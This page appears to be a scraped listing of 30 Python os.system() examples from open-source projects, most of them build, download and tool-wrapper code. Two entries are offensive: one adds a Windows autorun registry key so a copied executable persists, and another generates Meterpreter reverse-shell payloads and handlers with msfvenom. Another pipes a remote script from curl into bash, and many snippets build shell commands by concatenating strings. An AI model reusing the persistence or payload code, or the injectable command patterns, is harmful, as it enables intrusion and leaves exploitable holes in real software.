Python os.system() Examples

The following are 30 code examples of os.system(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module os , or try the search function .
Example #1
Source File: get_data.py    From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 10 votes vote down vote up
def get_cifar10(data_dir):
    if not os.path.isdir(data_dir):
        os.system("mkdir " + data_dir)
    cwd = os.path.abspath(os.getcwd())
    os.chdir(data_dir)
    if (not os.path.exists('train.rec')) or \
       (not os.path.exists('test.rec')) :
        import urllib, zipfile, glob
        dirname = os.getcwd()
        zippath = os.path.join(dirname, "cifar10.zip")
        urllib.urlretrieve("http://data.mxnet.io/mxnet/data/cifar10.zip", zippath)
        zf = zipfile.ZipFile(zippath, "r")
        zf.extractall()
        zf.close()
        os.remove(zippath)
        for f in glob.glob(os.path.join(dirname, "cifar", "*")):
            name = f.split(os.path.sep)[-1]
            os.rename(f, os.path.join(dirname, name))
        os.rmdir(os.path.join(dirname, "cifar"))
    os.chdir(cwd)

# data 
Example #2
Source File: ipynb2md.py    From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 8 votes vote down vote up
def main():
    parser = argparse.ArgumentParser(
        description="Jupyter Notebooks to markdown"
    )

    parser.add_argument("notebook", nargs=1, help="The notebook to be converted.")
    parser.add_argument("-o", "--output", help="output markdown file")
    args = parser.parse_args()

    old_ipynb = args.notebook[0]
    new_ipynb = 'tmp.ipynb'
    md_file = args.output
    print(md_file)
    if not md_file:
        md_file = os.path.splitext(old_ipynb)[0] + '.md'


    clear_notebook(old_ipynb, new_ipynb)
    os.system('jupyter nbconvert ' + new_ipynb + ' --to markdown --output ' + md_file)
    with open(md_file, 'a') as f:
        f.write('<!-- INSERT SOURCE DOWNLOAD BUTTONS -->')
    os.system('rm ' + new_ipynb) 
Example #3
Source File: setup.py    From django-rest-polymorphic with MIT License 6 votes vote down vote up
def run(self):
        try:
            self.status('Removing previous builds…')
            rmtree(os.path.join(here, 'dist'))
        except OSError:
            pass

        self.status('Building Source and Wheel (universal) distribution…')
        os.system('{0} setup.py sdist bdist_wheel --universal'.format(
            sys.executable
        ))

        self.status('Uploading the package to PyPi via Twine…')
        os.system('twine upload dist/*')

        sys.exit() 
Example #4
Source File: arm_now.py    From arm_now with MIT License 6 votes vote down vote up
def run_qemu(arch, kernel, dtb, rootfs, add_qemu_options):
    dtb = "" if not os.path.exists(dtb) else "-dtb {}".format(dtb)
    options = qemu_options[arch][1].format(arch=arch, kernel=kernel, rootfs=rootfs, dtb=dtb)
    arch = qemu_options[arch][0]
    print("Starting qemu-system-{}".format(arch))
    qemu_config = "-serial stdio -monitor null {add_qemu_options}".format(add_qemu_options=add_qemu_options)
    cmd = """stty intr ^]
       export QEMU_AUDIO_DRV="none"
       qemu-system-{arch} {options} \
               -m 256M \
               -nographic \
               {qemu_config} \
               {dtb} \
               -no-reboot
       stty intr ^c
    """.format(arch=arch, qemu_config=qemu_config, options=options, dtb=dtb)
    pgreen(cmd)
    os.system(cmd) 
Example #5
Source File: arm_now.py    From arm_now with MIT License 6 votes vote down vote up
def check_dependencies_or_exit():
    dependencies = [
            which("e2cp",
                ubuntu="apt-get install e2tools",
                arch="yaourt -S e2tools",
                darwin="brew install e2tools gettext e2fsprogs\nbrew unlink e2fsprogs && brew link e2fsprogs -f"),
            which("qemu-system-arm",
                  ubuntu="apt-get install qemu",
                  kali="apt-get install qemu-system",
                  arch="pacman -S qemu-arch-extra",
                  darwin="brew install qemu"),
            which("unzip",
                ubuntu="apt-get install unzip",
                arch="pacman -S unzip",
                darwin="brew install unzip")
            ]
    if not all(dependencies):
        print("requirements missing, plz install them", file=sys.stderr)
        sys.exit(1) 
Example #6
Source File: setup.py    From keras_mixnets with MIT License 6 votes vote down vote up
def run(self):
        try:
            self.status('Removing previous builds...')
            rmtree(os.path.join(base_path, 'dist'))
        except OSError:
            pass

        self.status('Building Source and Wheel (universal) distribution...')
        os.system('{0} setup.py sdist bdist_wheel'.format(sys.executable))

        self.status('Pushing git tags...')
        os.system('git tag v{0}'.format(get_version()))
        os.system('git push --tags')

        try:
            self.status('Removing build artifacts...')
            rmtree(os.path.join(base_path, 'build'))
            rmtree(os.path.join(base_path, '{}.egg-info'.format(PACKAGE_NAME)))
        except OSError:
            pass

        sys.exit() 
Example #7
Source File: utils.py    From Att-ChemdNER with Apache License 2.0 6 votes vote down vote up
def get_perf(filename):
    ''' run conlleval.pl perl script to obtain
    precision/recall and F1 score '''
    _conlleval = PREFIX + 'conlleval'
    if not isfile(_conlleval):
        #download('http://www-etud.iro.umontreal.ca/~mesnilgr/atis/conlleval.pl') 
        os.system('wget https://www.comp.nus.edu.sg/%7Ekanmy/courses/practicalNLP_2008/packages/conlleval.pl')
        chmod('conlleval.pl', stat.S_IRWXU) # give the execute permissions
    
    out = []
    proc = subprocess.Popen(["perl", _conlleval], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    stdout, _ = proc.communicate(open(filename).read())
    for line in stdout.split('\n'):
        if 'accuracy' in line:
            out = line.split()
            break
    
    # out = ['accuracy:', '16.26%;', 'precision:', '0.00%;', 'recall:', '0.00%;', 'FB1:', '0.00']
    precision = float(out[3][:-2])
    recall    = float(out[5][:-2])
    f1score   = float(out[7])

    return {'p':precision, 'r':recall, 'f1':f1score} 
Example #8
Source File: twitter-export-image-fill.py    From twitter-export-image-fill with The Unlicense 6 votes vote down vote up
def download_video(url, local_filename):
  if not download_videos:
    return True

  try:
    local_filename_escaped = local_filename.replace(' ', '\ ')
    command = '%s -q --no-warnings %s --exec \'mv {} %s\' &>/dev/null' % \
        (youtube_dl_path, url, local_filename_escaped)
    if os.system(command) > 0:
      return False
    if os.path.isfile(local_filename):
      return True
    else:
      return False
  except:
    return False


# Downloads an avatar image for a tweet.
# @return Whether data was rewritten 
Example #9
Source File: shellware.py    From Shellware with GNU General Public License v3.0 6 votes vote down vote up
def autorun(dir, fileName, run):
	# Copy to C:\Users
	os.system('copy %s %s'%(fileName, dir))

	# Queries Windows registry for the autorun key value
	# Stores the key values in runkey array
	key = OpenKey(HKEY_LOCAL_MACHINE, run)
	runkey =[]
	try:
		i = 0
		while True:
			subkey = EnumValue(key, i)
			runkey.append(subkey[0])
			i += 1
	except WindowsError:
		pass

	# Set key
	if 'foobar' not in runkey:
		try:
			key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
			SetValueEx(key ,'foobar',0,REG_SZ,r"C:\Users\shellware.exe")
			key.Close()
		except WindowsError:
			pass 
Example #10
Source File: model.py    From models with MIT License 6 votes vote down vote up
def predict_on_batch(self, inputs):
        # write test fasta file
        temp_input = tempfile.NamedTemporaryFile(suffix = ".txt")
        test_fname = temp_input.name
        encode_sequence_into_fasta_file(ofname = test_fname, seq = inputs.tolist())
        # test gkmsvm
        temp_ofp = tempfile.NamedTemporaryFile(suffix = ".txt")
        threads_option = '-T %s' % (str(self.threads))
        verbosity_option = '-v 0'
        command = ' '.join(['gkmpredict',
                            test_fname,
                            self.model_file,
                            temp_ofp.name,
                            threads_option,
                            verbosity_option])
        #process = subprocess.Popen(command, shell=True)
        #process.wait()  # wait for it to finish
        exit_code = os.system(command)
        temp_input.close()
        assert exit_code == 0
        # get classification results
        temp_ofp.seek(0)
        y = np.array([line.split()[-1] for line in temp_ofp], dtype=float)
        temp_ofp.close()
        return np.expand_dims(y, 1) 
Example #11
Source File: payday.py    From payday with GNU General Public License v2.0 6 votes vote down vote up
def msf_payloads(ip, output_dir, payload_port):
	# Payloads Dictionary
	payloads = []
	payloads.append(["windows/meterpreter/reverse_tcp",payload_port, "exe", "revmet.exe"])
	payloads.append(["windows/x64/meterpreter/reverse_tcp", payload_port, "exe", "revmet64.exe"])
	payloads.append(["windows/meterpreter/reverse_http",payload_port, "exe", "methttp.exe"])
	payloads.append(["windows/meterpreter/reverse_https",payload_port, "exe", "methttps.exe"])
	payloads.append(["windows/x64/meterpreter/reverse_tcp",payload_port, "exe-service" , "serv64.exe"])
	payloads.append(["windows/meterpreter/reverse_tcp",payload_port, "exe-service" ,"serv.exe"])
	payloads.append(["windows/meterpreter/reverse_tcp",payload_port, "dll", "revmetdll.dll"])
	payloads.append(["windows/x64/meterpreter/reverse_tcp",payload_port, "dll", "revmetdll64.dll"])
	payloads.append(["windows/x64/meterpreter/reverse_https", payload_port, "exe", "methttps64.exe"])

	#./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

	for parms in payloads:
		payload = parms[0]
		lport = str(parms[1])
		output_type = parms[2]
		ext = parms[3]
		base = output_dir
		venom_cmd = "msfvenom -p " + payload + " LHOST=" + ip + " LPORT=" + lport + " -f " + output_type + " -o " + base + ext
		print("[!] Generating : " + bluetxt(payload))
		print("[>] LHOST " + greentxt(ip) + " on port " + greentxt(lport))
		os.system(venom_cmd)
                # strip off ext and replace with .rc
		print("[!] Generating handler for : " + bluetxt(payload))

		handler = ext.split(".")[0] + ".rc"
		handler_file = open(base + "handlers/" + handler , "w+")
		handler_file.write("use exploit/multi/handler\n")
		handler_file.write("set payload " + payload +"\n")
		handler_file.write("set LPORT " + str(payload_port) + "\n")
		handler_file.write("set LHOST " + ip + "\n")
		handler_file.write("set ExitOnSession False\n")
		handler_file.write("exploit -j -z\n")
		handler_file.close()
		print("[!] Generated : " + yellowtxt(handler) + "\n\n") 
Example #12
Source File: get_data.py    From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 6 votes vote down vote up
def get_mnist(data_dir):
    if not os.path.isdir(data_dir):
        os.system("mkdir " + data_dir)
    os.chdir(data_dir)
    if (not os.path.exists('train-images-idx3-ubyte')) or \
       (not os.path.exists('train-labels-idx1-ubyte')) or \
       (not os.path.exists('t10k-images-idx3-ubyte')) or \
       (not os.path.exists('t10k-labels-idx1-ubyte')):
        import urllib, zipfile
        zippath = os.path.join(os.getcwd(), "mnist.zip")
        urllib.urlretrieve("http://data.mxnet.io/mxnet/data/mnist.zip", zippath)
        zf = zipfile.ZipFile(zippath, "r")
        zf.extractall()
        zf.close()
        os.remove(zippath)
    os.chdir("..") 
Example #13
Source File: caffe_proto_utils.py    From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 6 votes vote down vote up
def process_network_proto(caffe_root, deploy_proto):
    """
    Runs the caffe upgrade tool on the prototxt to create a prototxt in the latest format.
    This enable us to work just with latest structures, instead of supporting all the variants

    :param caffe_root: link to caffe root folder, where the upgrade tool is located
    :param deploy_proto: name of the original prototxt file
    :return: name of new processed prototxt file
    """
    processed_deploy_proto = deploy_proto + ".processed"

    from shutil import copyfile
    copyfile(deploy_proto, processed_deploy_proto)

    # run upgrade tool on new file name (same output file)
    import os
    upgrade_tool_command_line = caffe_root + '/build/tools/upgrade_net_proto_text.bin ' \
                                + processed_deploy_proto + ' ' + processed_deploy_proto
    os.system(upgrade_tool_command_line)

    return processed_deploy_proto 
Example #14
Source File: ICMP.py    From XFLTReaT with MIT License 6 votes vote down vote up
def communication_initialization(self):
		self.clients = []
		if self.serverorclient:
			if self.os_type == common.OS_LINUX:
				ps = subprocess.Popen(["cat", "/proc/sys/net/ipv4/icmp_echo_ignore_all"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
				(stdout, stderr) = ps.communicate()
				if stderr:
					common.internal_print("Error: deleting default route: {0}".format(stderr), -1)
					sys.exit(-1)
				self.orig_ieia_value = stdout[0:1]
				os.system("echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all")

		if self.serverorclient:
			self.ICMP_send = self.icmp.ICMP_ECHO_RESPONSE
		else:
			self.ICMP_send = self.icmp.ICMP_ECHO_REQUEST
		return 
Example #15
Source File: utils.py    From pruning_yolov3 with GNU General Public License v3.0 6 votes vote down vote up
def print_mutation(hyp, results, bucket=''):
    # Print mutation results to evolve.txt (for use with train.py --evolve)
    a = '%10s' * len(hyp) % tuple(hyp.keys())  # hyperparam keys
    b = '%10.3g' * len(hyp) % tuple(hyp.values())  # hyperparam values
    c = '%10.3g' * len(results) % results  # results (P, R, mAP, F1, test_loss)
    print('\n%s\n%s\nEvolved fitness: %s\n' % (a, b, c))

    if bucket:
        os.system('gsutil cp gs://%s/evolve.txt .' % bucket)  # download evolve.txt

    with open('evolve.txt', 'a') as f:  # append result
        f.write(c + b + '\n')
    x = np.unique(np.loadtxt('evolve.txt', ndmin=2), axis=0)  # load unique rows
    np.savetxt('evolve.txt', x[np.argsort(-fitness(x))], '%10.3g')  # save sort by fitness

    if bucket:
        os.system('gsutil cp evolve.txt gs://%s' % bucket)  # upload evolve.txt 
Example #16
Source File: test_notebooks.py    From EDeN with MIT License 5 votes vote down vote up
def test_notebooks():
    notebooks = ['sequence_example.ipynb']
    for notebook in notebooks:
        cmd = 'wget -q https://raw.githubusercontent.com/fabriziocosta/EDeN_examples/master/%s' % notebook
        os.system(cmd)
        cmd = 'jupyter nbconvert  --stdout --ExecutePreprocessor.enabled=True --ExecutePreprocessor.timeout=300 %s > /dev/null' % notebook
        res = os.system(cmd)
        os.system('rm -f %s' % notebook)
        assert res == 0 
Example #17
Source File: cws.py    From convseg with MIT License 5 votes vote down vote up
def evaluator(data, output_dir, output_flag):
    """
    Evaluate presion, recall and F1.
    """
    seqs, gold_stags, pred_stags = data
    assert len(seqs) == len(gold_stags) == len(pred_stags)
    # Create and open temp files.
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)

    ref_path = os.path.join(output_dir, '%s.ref' % output_flag)
    pred_path = os.path.join(output_dir, '%s.pred' % output_flag)
    score_path = os.path.join(output_dir, '%s.score' % output_flag)
    # Empty words file.
    temp_path = os.path.join(output_dir, '%s.temp' % output_flag)

    ref_file = codecs.open(ref_path, 'w', 'utf8')
    pred_file = codecs.open(pred_path, 'w', 'utf8')
    for l in create_output(seqs, gold_stags):
        print(l, file=ref_file)
    for i, l in enumerate(create_output(seqs, pred_stags)):
        print(l, file=pred_file)
    ref_file.close()
    pred_file.close()

    os.system('echo > %s' % temp_path)
    os.system('%s  %s %s %s > %s' % ('./score.perl', temp_path, ref_path, pred_path, score_path))
    # Sighan evaluation results
    os.system('tail -n 7 %s > %s' % (score_path, temp_path))
    eval_lines = [l.rstrip() for l in codecs.open(temp_path, 'r', 'utf8')]
    # Remove temp files.
    os.remove(ref_path)
    os.remove(pred_path)
    os.remove(score_path)
    os.remove(temp_path)
    # Precision, Recall and F1 score
    return (float(eval_lines[1].split(':')[1]),
            float(eval_lines[0].split(':')[1]),
            float(eval_lines[2].split(':')[1])) 
Example #18
Source File: visualizer.py    From DDPAE-video-prediction with MIT License 5 votes vote down vote up
def __init__(self, tb_path):
    self.tb_path = tb_path

    if os.path.exists(tb_path):
      if prompt_yes_no('{} already exists. Proceed?'.format(tb_path)):
        os.system('rm -r {}'.format(tb_path))
      else:
        exit(0)

    self.writer = SummaryWriter(tb_path) 
Example #19
Source File: pipark_setup.py    From PiPark with GNU General Public License v2.0 5 votes vote down vote up
def clickAbout(self):
        """Open the README file for instructions on GUI use. """
        if self.__is_verbose: print "ACTION: Clicked 'Open README'"
        
        # turn off toggle buttons
        self.spaces_button.setOff()
        self.cps_button.setOff()
        
        # load external README from command line
        # TODO: Put this in new Tkinter window with scroll bar
        os.system("leafpad " + "./SETUP_README.txt")
        if self.__is_verbose: print "INFO: Opened ./SETUP_README.txt in leafpad."
        
        
# ==============================================================================
#
#  Application Layout Management
#
# ==============================================================================  
    # --------------------------------------------------------------------------
    #   Create Image Display Canvas
    # -------------------------------------------------------------------------- 
Example #20
Source File: post_gen_project.py    From django-template with MIT License 5 votes vote down vote up
def install_drifter():
    os.system('git init .')
    os.system('curl -sS https://raw.githubusercontent.com/liip/drifter/master/install.sh | /bin/bash') 
Example #21
Source File: train_models.py    From Turku-neural-parser-pipeline with Apache License 2.0 5 votes vote down vote up
def train_all(args):

    # tokenizer --- TODO

    # Tagger
    if args.tagger:
        print("Training a tagger", file=sys.stderr)
        status = os.system("python3 {workdir}/../Parser-v2/main.py --save_dir models_{name}/Tagger train --config_file models_{name}/tagger.cfg".format(workdir=thisdir, name=args.name))
        if status != 0:
            print("Tagger status:", status, "Training failed.", file=sys.stderr)
            sys.exit()

    # Parser
    if args.parser:
        print("Training a parser")
        status = os.system("python3 {workdir}/../Parser-v2/main.py --save_dir models_{name}/Parser train --config_file models_{name}/parser.cfg".format(workdir=thisdir, name=args.name))
        if status != 0:
            print("Parser status:", status, "Training failed.", file=sys.stderr)
            sys.exit()

    # Lemmatizer
    if args.lemmatizer == True:
        print("Training a lemmatizer")
        status = os.system("python3 {workdir}/../universal-lemmatizer/train_lemmatizer.py --treebank default --config models_{name}/lemmatizer.yaml".format(workdir=thisdir, name=args.name))
        if status != 0:
            print("Lemmatizer status:", status, "Training failed.", file=sys.stderr)
            sys.exit()

        copy_lemmatizer(args) # copy the latest lemmatizer under correct name

        status = os.system("cat {train} | python3 {workdir}/../build_lemma_cache.py > models_{name}/Lemmatizer/lemma_cache.tsv".format(train=args.train_file, workdir=thisdir, name=args.name)) # build lemma cache
        if status != 0:
            print("Lemma cache status:", status, "Training failed.", file=sys.stderr)
            sys.exit()

    print("Training done", file=sys.stderr) 
Example #22
Source File: mbusb_gui.py    From multibootusb with GNU General Public License v2.0 5 votes vote down vote up
def onedit_syslinux(self):
        """
        Function to edit main syslinux.cfg file.
        :return:
        """
        # Function to edit syslinux.cfg file on editors like gedit, notepad etc.
        # Suggest me more editor which can be included in to this function.
        sys_cfg_file = os.path.join(config.usb_mount, "multibootusb", "syslinux.cfg")
        log("Locating " + sys_cfg_file)
        editor = ''
        if not os.path.exists(sys_cfg_file):
            log("syslinux.cfg file not found...")
            QtWidgets.QMessageBox.information(self, 'File not found...', 'Sorry. Unable to locate syslinux.cfg file.\n'
                                                                         'You can only edit syslinux.cfg file generated by multibootusb.')
        else:
            if platform.system() == "Linux":
                for e in config.editors_linux:
                    if subprocess.call('which ' + e, shell=True) == 0:
                        log("Editor found is " + e)
                        editor = e
                        break
            elif platform.system() == "Windows":
                for e in config.editors_win:
                    if not shutil.which(e) is None:
                        log("Editor found is " + e)
                        editor = e
                        break
            if not editor:
                QtWidgets.QMessageBox.information(self, 'Editor not found...',
                                                  'Sorry. Installed editor is not supported by multibootusb\n'
                                                  'Edit ' + sys_cfg_file + ' manually.\n')
            else:
                try:
                    subprocess.Popen(editor + " '" + sys_cfg_file + "'", shell=True).pid
                except OSError:
                    QtWidgets.QMessageBox.warning(self, 'Error...',
                                                  'Failed to open syslinux.cfg file.\n'
                                                  'Edit syslinux.cfg file manually.\n') 
Example #23
Source File: mbusb_gui.py    From multibootusb with GNU General Public License v2.0 5 votes vote down vote up
def main_gui():
    app = QtWidgets.QApplication(sys.argv)
    #    ui_about = Ui_About()
    #    ui = Ui_MainWindow()

    if platform.system() == 'Linux' and os.getuid() != 0:
        show_admin_info()
        sys.exit(2)

    else:
        window = AppGui()
        window.show()
        window.setWindowTitle("MultiBootUSB - " + mbusb_version())
        window.setWindowIcon(QtGui.QIcon(resource_path(os.path.join("data", "tools", "multibootusb.png"))))
    sys.exit(app.exec_()) 
Example #24
Source File: admin.py    From multibootusb with GNU General Public License v2.0 5 votes vote down vote up
def isUserAdmin():
    """
    @return: True if the current user is an 'Admin' whatever that means
    (root on Unix), otherwise False.

    Warning: The inner function fails unless you have Windows XP SP2 or
    higher. The failure causes a traceback to be gen.loged and this
    function to return False.
    """

    if platform.system() == "Windows":
        import ctypes
        # WARNING: requires Windows XP SP2 or higher!
        try:
            return ctypes.windll.shell32.IsUserAnAdmin()
        except:
            traceback.print_exc()
            gen.log("Admin check failed, assuming not an admin.")
            return False
    elif platform.system() == "Linux":
        return os.getuid() == 0
    else:
        raise RuntimeError("Unsupported operating system for this module: %s" % (os.name,)) 
Example #25
Source File: admin.py    From multibootusb with GNU General Public License v2.0 5 votes vote down vote up
def adminCmd(cmd, fork=False, gui=False):
    """
    This simple function checks for a sudo command and runs a command using it.
    This function tries to launch given script with root access using pkexec/gksu/gksudo/kdesu/kdesudo,
    if one of them is already installed.
    PyQt4 is used as GUI.
    Author : sundar
    """
    sudo_cmd = ''
    if os.getuid() == 0:
        sudo_cmd = cmd
    else:
        if os.system('which pkexec') == 0:
            if gui:
                # By default, pkexec disallows X11 apps. Restore DISPLAY & XAUTHORITY
                # to allow it. man 1 pkexec/"SECURITY NOTES" section
                cmd = ['export DISPLAY=$DISPLAY; export XAUTHORITY=$XAUTHORITY; '] + cmd
            sudo_cmd = ['pkexec', '/bin/sh', '-c']
        elif os.system('which gksudo') == 0:
            sudo_cmd = ["gksudo", "--", "/bin/sh", "-c"]
        elif os.system('which gksu') == 0:
            sudo_cmd = ["gksu"]
        elif os.system('which kdesudo') == 0:
            sudo_cmd = ["kdesudo", "-t", "-c"]    # http://www.unix.com/man-page/debian/1/kdesudo/
        elif os.system('which kdesu') == 0:
            sudo_cmd = ["kdesu", "-t", "-c"]      # http://linux.die.net/man/1/kdesu
        else:
            QtWidgets.QMessageBox.information('No root...',
                                          'Could not find any of: pkexec, sudo, gksu, kdesu, gksudo, or kdesudo.\n'
                                          'Please install one then restart multibootusb.')
            sys.exit(0)
    final_cmd = ' '.join(sudo_cmd + ['"' + ' '.join(cmd).replace('"', '\\"') + '"'])
    gen.log("Executing ==>  " + final_cmd)
    if fork:
        return subprocess.Popen(final_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1, shell=True)
    else:
        ret = subprocess.call(final_cmd, shell=True)
        gen.log("Process returned ==>   " + str(ret))
        return ret 
Example #26
Source File: liffy.py    From liffy with GNU General Public License v3.0 5 votes vote down vote up
def ping(hostname):
    """Ping the host to check if it's up or down

    Arguments:
        hostname {str} -- hostname to ping

    Returns:
        bool -- Tell if host is up or not
    """
    resp = os.system("ping -c 1 -W2 "+hostname+" > /dev/null 2>&1")

    if resp == 0:
        return True
    else:
        return False 
Example #27
Source File: readsimulationwrapper.py    From CAMISIM with Apache License 2.0 5 votes vote down vote up
def _get_sys_cmd(self, file_path_input, fold_coverage, file_path_output_prefix):
        """
        Build system command to be run.

        @param file_path_input: Path to genome fasta file
        @type file_path_input: str | unicode
        @param fold_coverage: coverage of a genome
        @type fold_coverage: int | long | float
        @param file_path_output_prefix: Output prefix used by art illumina
        @type file_path_output_prefix: str | unicode

        @return: System command to run art illumina
        @rtype: str | unicode
        """
        assert self.validate_file(file_path_input)
        assert isinstance(fold_coverage, (int, long, float))
        assert self.validate_dir(file_path_output_prefix, only_parent=True)

        arguments = [
            'linear',
            '-n', str(fold_coverage),  # rename this, because its not the fold_coverage for wgsim
            '-r', file_path_input,
            '-o', file_path_output_prefix,
            '-c', "tools/nanosim_profile/ecoli",
            '--seed', str(self._get_seed() % 2**32 - 1) # nanosim seed cannot be > 2**32 -1
            ]
            
        if self._logfile:
            arguments.append(">> '{}'".format(self._logfile))

        cmd = "{exe} {args}".format(exe=self._file_path_executable, args=" ".join(arguments))
        return cmd

# #################
# ReadSimulationWgsim - wgsim Wrapper
# ################# 
Example #28
Source File: get_genomes.py    From CAMISIM with Apache License 2.0 5 votes vote down vote up
def split_by_N(fasta_path, out_path):
    os.system("scripts/split_fasta.pl %s %s" % (fasta_path, out_path))
    os.remove(fasta_path) 
Example #29
Source File: samtoolswrapper.py    From CAMISIM with Apache License 2.0 5 votes vote down vote up
def _get_sam_to_bam_cmd(self, file_path_sam, output_dir, max_memory=-1):
		"""
			Return system command as string.
			Command will create a sorted by position and indexed bam file from a sam file.

			@attention:

			@param file_path_sam: file path
			@type file_path_sam: str | unicode
			@param output_dir: output directory
			@type output_dir: str | unicode
			@param max_memory: maximum available memory in gigabyte
			@type max_memory: int | long

			@return: system command
			@rtype: str
		"""
		if max_memory == -1:
			max_memory = self._max_memory
		file_name = os.path.splitext(os.path.basename(file_path_sam))[0]
		file_path_bam = os.path.join(output_dir, file_name)
		# cmd = "{samtools} view -bS {input} | {samtools} sort - {output}; {samtools} index {output}.bam"
		prefix_temp_files = tempfile.mktemp(dir=self._tmp_dir, prefix="temp_sam_to_sorted_bam")

		cmd_stream_sam_file = "{samtools} view -bS {input}"
		cmd_sort_bam_file = "{samtools} sort -l {compression} -m {memory}G -o {output}.bam -O bam -T {prefix}"
		cmd_index_bam_file = "{samtools} index {output}.bam"

		cmd = cmd_stream_sam_file + " | " + cmd_sort_bam_file + "; " + cmd_index_bam_file
		return cmd.format(
			samtools=self._file_path_samtools,
			input=file_path_sam,
			compression=self._compression_level,
			memory=max_memory,
			output=file_path_bam,
			prefix=prefix_temp_files
			) 
Example #30
Source File: samtoolswrapper.py    From CAMISIM with Apache License 2.0 5 votes vote down vote up
def read_start_positions_from_list_of_bam(self, list_of_file_paths, output_file=None):
		"""
			Parse 'read' start positions from bam files.

			@attention:

			@param list_of_file_paths: list of sam file paths
			@type list_of_file_paths: list[str|unicode]
			@param output_file: output file path
			@type output_file: str | unicode

			@return: output file path
			@rtype: str | unicode

			@raises: AssertionError | OSError
		"""
		if output_file is None:
			output_file = tempfile.mktemp(dir=self._tmp_dir, prefix="read_start_positions")
		assert isinstance(list_of_file_paths, list)
		assert isinstance(output_file, basestring)
		assert self.validate_dir(output_file, only_parent=True)
		for file_path in list_of_file_paths:
			assert self.validate_file(file_path)

		cmd = "set -o pipefail; {samtools} view '{bamfile}' | awk '{{print $1 \"\\t\" $4}}' >> '{output}'"
		for file_path in list_of_file_paths:
			# exit_status = os.system(
			exit_status = subprocess.call(
				cmd.format(samtools=self._file_path_samtools, bamfile=file_path, output=output_file),
				shell=True,
				executable="bash")
			if exit_status != 0:
				msg = "Error occurred parsing '{}'".format(file_path)
				self._logger.error(msg)
				raise OSError(msg)
		return output_file